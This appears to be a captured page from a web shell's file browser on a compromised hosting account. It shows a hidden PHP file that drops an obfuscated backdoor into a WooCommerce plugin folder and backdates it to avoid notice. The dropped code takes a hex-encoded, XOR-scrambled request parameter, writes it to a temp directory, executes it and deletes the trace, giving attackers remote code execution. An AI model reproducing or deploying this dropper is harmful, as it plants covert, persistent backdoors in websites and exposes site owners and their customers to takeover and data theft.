HEX
Server: LiteSpeed
System: Linux lt-bnk-web1368.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User: u362014288 (362014288)
PHP: 8.2.30
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: //var/tmp/.system
<?php   $p = "/home/u362014288/domains/dimgrey-stingray-627452.hostingersite.com/public_html/wp-content/plugins/woocommerce/src/Blocks/Integrations/wp-content/plugins/woocommerce/packages/email-editor/src/Engine/PersonalizationTags/cpp.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28isset%28%24_REQUEST%5B%22p%5Cx61rame%5Cx74er_gr%5Cx6F%5Cx75%5Cx70%22%5D%29%20%3F%20true%20%3A%20false%29%7B%0A%09%24ent%20%3D%20hex2bin%28%24_REQUEST%5B%22p%5Cx61rame%5Cx74er_gr%5Cx6F%5Cx75%5Cx70%22%5D%29%3B%0A%09%24flag%3D%27%27%3B%20foreach%28str_split%28%24ent%29%20as%20%24char%29%7B%24flag%20.%3D%20chr%28ord%28%24char%29%20%5E%2022%29%3B%7D%0A%09%24pgrp%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20sys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%5D%29%3B%0A%09for%20%28%24object%20%3D%200%2C%20%24elem%20%3D%20count%28%24pgrp%29%3B%20%24object%20%3C%20%24elem%3B%20%24object%2B%2B%29%20%7B%0A%20%20%20%20%24desc%20%3D%20%24pgrp%5B%24object%5D%3B%0A%20%20%20%20%09%09if%20%28max%280%2C%20is_dir%28%24desc%29%20%2A%20is_writable%28%24desc%29%29%29%20%7B%0A%20%20%20%20%24val%20%3D%20%22%24desc%22%20.%20%22/.ent%22%3B%0A%20%20%20%20%24success%20%3D%20file_put_contents%28%24val%2C%20%24flag%29%3B%0Aif%20%28%24success%29%20%7B%0A%09include%20%24val%3B%0A%09%40unlink%28%24val%29%3B%0A%09exit%3B%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1776272919); } die('!ended!');